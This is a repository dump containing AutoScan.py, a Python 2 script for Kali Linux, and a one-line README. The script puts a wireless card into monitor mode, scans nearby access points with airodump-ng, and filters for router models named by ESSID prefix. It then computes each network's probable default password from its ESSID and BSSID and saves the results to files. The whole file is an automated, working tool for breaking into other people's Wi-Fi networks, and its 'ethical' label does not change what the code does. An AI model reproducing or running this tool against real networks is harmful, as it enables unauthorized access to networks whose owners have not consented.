├── AutoScan.py └── README.md /AutoScan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python27 2 | # 3 | # This Program Is Written For Kali Linux 2.0 4 | # 5 | # TODO Scan For Default Networks Name; Guesses The Default Password Of The Network & Log The Info All Auto 6 | # 7 | # Disclaimer: Not Really Cracking Password, It's Just Guessing It 8 | # 9 | # - Ethical H4CK3R 10 | 11 | from os import devnull,mkdir,getuid,listdir,path,chdir,getcwd,remove 12 | from subprocess import call,Popen 13 | from threading import Thread,Lock 14 | from time import sleep 15 | from csv import reader 16 | from sys import argv 17 | 18 | class Engine(object): 19 | def __init__(self,iface): 20 | self.wlan = iface 21 | self.time = 8 22 | self.macs = [] 23 | self.ssid = [] 24 | 25 | def Monitor_Mode(self): 26 | call(['ifconfig',self.wlan,'down']) 27 | call(['iwconfig',self.wlan,'mode','monitor']) 28 | call(['ifconfig',self.wlan,'up']) 29 | call(['service','network-manager','stop']) 30 | 31 | def Managed_Mode(self): 32 | call(['ifconfig',self.wlan,'down']) 33 | call(['iwconfig',self.wlan,'mode','managed']) 34 | call(['ifconfig',self.wlan,'up']) 35 | call(['service','network-manager','start']) 36 | 37 | def Scan(self): 38 | if Running: 39 | call(['clear']) 40 | print ('Status: On\n\n[-] Scanning: True\n[-] Networks Captured: {}'.format(Grab)) 41 | cmd = ['airodump-ng','-a','--output-format','csv', '-w','list',self.wlan] 42 | scan = Popen(cmd,stderr=Devnull,stdout=Devnull) 43 | sleep(self.time) 44 | call(['pkill', 'airodump-ng']) 45 | self.Append() 46 | 47 | def Append(self): 48 | global Essids,Macs 49 | try: 50 | info = 'list-01.csv' 51 | Saved_Bssids = list(str(item).strip() for item in open('Bssids.txt','r')) 52 | with open(info, 'r') as AccessPoints: 53 | Data = reader(AccessPoints, delimiter=',') 54 | for line in Data: 55 | if len(line) >= 10: 56 | try: 57 | name = str(line[13]).strip() 58 | bssid = str(line[0]).strip() 59 | if name != 'ESSID' and len(name) != 0 and bssid not in Saved_Bssids: 60 | self.macs.append(bssid) 61 | self.ssid.append(name) 62 | except:pass 63 | finally: 64 | for item in listdir('.'): 65 | if item.endswith('.csv'): 66 | remove(item) 67 | except:pass 68 | with lock: 69 | Essids,Macs = self.ssid,self.macs 70 | self.macs,self.ssid = [],[] 71 | 72 | def Clean(self): 73 | self.Managed_Mode() 74 | try: 75 | remove('list-01.csv') 76 | except: 77 | pass 78 | 79 | def Create(name): 80 | if path.exists(name): 81 | if path.isdir(name): 82 | chdir(name) 83 | Items = list(item for item in listdir('.')) 84 | if 'Bssids.txt' not in Items: 85 | B_list = open('Bssids.txt','w') 86 | B_list.close() 87 | if 'Essids' not in Items: 88 | mkdir('Essids') 89 | return 90 | else: 91 | return 92 | else: 93 | if 'Essids' not in Items: 94 | mkdir('Essids') 95 | return 96 | else: 97 | return 98 | 99 | mkdir(name) 100 | chdir(name) 101 | B_list = open('Bssids.txt','w') 102 | B_list.close() 103 | mkdir('Essids') 104 | return 105 | 106 | def Analyze(essid): 107 | Type = essid[:3] 108 | Builds = ['TG1','DVW','DG8','U10','TC8'] 109 | if Type in Builds: 110 | return True 111 | else: 112 | return False 113 | 114 | def Guess(essid,bssid): 115 | a,b,c = essid[:-2],[],essid[-2:] 116 | for i,k in enumerate(bssid): 117 | if i == 9 or i == 10 or i == 12 or i == 13: 118 | b.append(k) 119 | else: 120 | continue 121 | password = '{}{}{}'.format(a,''.join(b),c) 122 | return password 123 | 124 | def Controller(): 125 | while Running: 126 | try: 127 | engine.Scan() 128 | except:pass 129 | 130 | def Manage(): 131 | global Essid,Grab 132 | while Running: 133 | if len(Macs) != 0: 134 | for bssid,essid in zip(Macs,Essids): 135 | if Analyze(essid): 136 | bssid = str(bssid).strip() 137 | List = list(str(item).strip() for item in open('Bssids.txt','r')) 138 | if bssid not in List: 139 | with open('Bssids.txt','a') as Write: 140 | Write.write('{}\n'.format(bssid)) 141 | new_Essid = str(essid).strip().upper() 142 | Essid_Folder = list(str(item).strip().upper() for item in listdir('Essids')) 143 | if new_Essid not in Essid_Folder: 144 | mkdir('Essids/{}'.format(new_Essid)) 145 | else: 146 | k = 1 147 | n = True 148 | while n: 149 | name = '{} {}'.format(essid,k) 150 | name = str(name).strip().upper() 151 | if name not in Essid_Folder: 152 | mkdir('Essids/{}'.format(name)) 153 | with open('Essids/{}/Info.txt'.format(name),'w') as Write: 154 | Write.write('Essid: {}\nPassword: {}\n\nBssid: {}\n\n'.format(essid,Guess(essid,bssid),str(bssid).upper())) 155 | n = False 156 | else: 157 | k+=1 158 | name = str(essid).strip().upper() 159 | with open('Essids/{}/Info.txt'.format(name),'w') as Write: 160 | Write.write('Essid: {}\nPassword: {}\n\nBssid: {}\n\n'.format(name,Guess(name,bssid),str(bssid).upper())) 161 | Grab+=1 162 | 163 | 164 | def Main(): 165 | global Devnull,Essids,Macs,engine,Running 166 | Devnull = open(devnull, 'w') 167 | Essids,Macs = [],[] 168 | 169 | Filename = str(path.splitext(argv[0])[0]) 170 | Create(Filename) 171 | 172 | engine = Engine(iface) 173 | engine.Monitor_Mode() 174 | 175 | Thread(target=Controller).start() 176 | Thread(target=Manage).start() 177 | 178 | while Running: 179 | try: 180 | pass 181 | except KeyboardInterrupt: 182 | call(['clear']) 183 | print ('Status: Off\n\n[-] Scanning: False\n[-] Networks Captured: {}'.format(Grab)) 184 | print('\nExiting...') 185 | cmd = ['pkill','airodump-ng'] 186 | Popen(cmd,stderr=Devnull,stdout=Devnull) 187 | engine.Clean() 188 | Running = False 189 | 190 | 191 | 192 | if __name__ == '__main__': 193 | call(['clear']) 194 | Grab = 0 195 | if not getuid(): 196 | Running = True 197 | lock = Lock() 198 | iface = raw_input('[-] Enter Interface: ') 199 | if len(iface) == 0: 200 | exit() 201 | try: 202 | Main() 203 | except KeyboardInterrupt: 204 | call(['clear']) 205 | print('Status: Off\n\n[-] Scanning: False\n[-] Networks Captured: {}'.format(Grab)) 206 | print('\nExiting...') 207 | cmd = ['pkill','airodump-ng'] 208 | Popen(cmd,stderr=Devnull,stdout=Devnull) 209 | engine.Clean() 210 | Running = False 211 | else: 212 | exit('[!] Root Access Required') 213 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # AutoScan 2 | Automatically Scans For Default Networks & Guess The Password 3 | --------------------------------------------------------------------------------